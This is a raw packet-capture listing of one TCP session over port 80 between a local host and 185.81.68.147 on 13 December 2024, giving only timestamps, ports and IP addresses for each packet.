Dec 13, 2024 08:18:50.345583916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.345676899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.345752001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.346857071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.347390890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.347440004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.348241091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.348253965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.348320007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.349666119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.349682093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.349829912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.350722075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.350758076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.350804090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.351949930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.352008104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.352060080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.353975058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.353991032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.354166985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.355375051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.355389118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.356132030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.356170893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.356187105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.356241941 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.357105970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.357134104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.357173920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.358320951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.358371019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.358479977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.359833956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.359850883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.359899044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.361140013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.361155987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.361193895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.362689018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.362706900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.362776995 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.363362074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.363711119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.363751888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.364770889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.418184996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.489703894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.489749908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.489976883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.490092039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.490300894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.490391016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.491300106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.491414070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.491475105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.492492914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.492587090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.492638111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.493696928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.493830919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.493944883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.494915009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.494956017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.494998932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.496100903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.496205091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.496260881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.497318983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.497442007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.497486115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.498527050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.498625040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.498784065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.499735117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.499834061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.499878883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.500917912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.500937939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.500996113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.502125025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.502226114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.502273083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.503339052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.503406048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.503499031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.504568100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.504661083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.504697084 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.505765915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.505872965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.505917072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.506934881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.506990910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.507056952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.508143902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.508240938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.508371115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.509361029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.509484053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.509521961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.510703087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.510819912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.510864973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.511817932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.511881113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.512128115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.512994051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.513081074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.513124943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.514178991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.514281034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.514328957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.515410900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.515501976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.515578985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.516624928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.516720057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.516824961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.517796993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.517904043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.517941952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.518970966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.519088984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.519165993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.520220995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.520252943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.520294905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.521409988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.521497011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.521595001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.522602081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.522710085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.522747993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.523832083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.523912907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.523962021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.525022030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.525171995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.525213957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.526211023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.526303053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.526411057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.527425051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.527486086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.527575016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.528608084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.528703928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.528747082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.529828072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.529927969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.529966116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.531028986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.531131983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.531250954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.532244921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.532366991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.532408953 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.533449888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.533601046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.533639908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.534663916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.534748077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.534857988 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.535850048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.535958052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.536058903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.537066936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.537113905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.537221909 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.538276911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.538455963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.538609982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.539504051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.539594889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.539709091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.540653944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.540785074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.540879011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.541868925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.541960001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.542120934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.543087006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.543190956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.543262959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.544253111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.544358969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.544401884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.545511007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.545599937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.545865059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.546694040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.546876907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.546924114 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.547977924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.548024893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.548059940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.549088001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.549197912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.549307108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.550307989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.550393105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.550430059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.551522017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.551667929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.551714897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.552833080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.605642080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.929328918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929344893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929440022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929451942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929464102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929476023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929514885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929527044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929527044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.929527044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.929538012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929548979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929560900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929573059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.929596901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.929596901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.929673910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.930265903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930277109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930288076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930396080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.930417061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930443048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930454016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930465937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930476904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930483103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.930483103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.930499077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930510998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930521011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.930543900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.931401014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931427002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931438923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931449890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931461096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931472063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931483030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931493998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931504965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931515932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931526899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931535006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.931538105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.931562901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.931601048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932143927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932284117 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932301998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932312965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932323933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932334900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932346106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932357073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932368040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932379961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932382107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932382107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932389975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932401896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932415009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932425976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.932447910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932447910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.932473898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.933201075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933362961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933373928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933386087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933397055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933407068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933417082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933428049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933439016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933449984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933454990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.933461905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933471918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.933485985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.933557034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.934108973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934120893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934132099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934171915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934238911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934256077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934267998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934273005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.934279919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934292078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934302092 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.934303045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934314966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934324980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.934346914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.934377909 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.935026884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935107946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935269117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935280085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935290098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935302019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935321093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935333014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935343981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935355902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935368061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935378075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935389042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.935411930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.935492992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.936079025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936238050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936249971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936260939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936265945 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.936271906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936284065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936295033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936306953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936315060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.936317921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936331034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936342001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936353922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936353922 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.936367035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.936407089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.936407089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.937031984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937191963 CET	80	49726	185.81.68.147	192.168.2.11
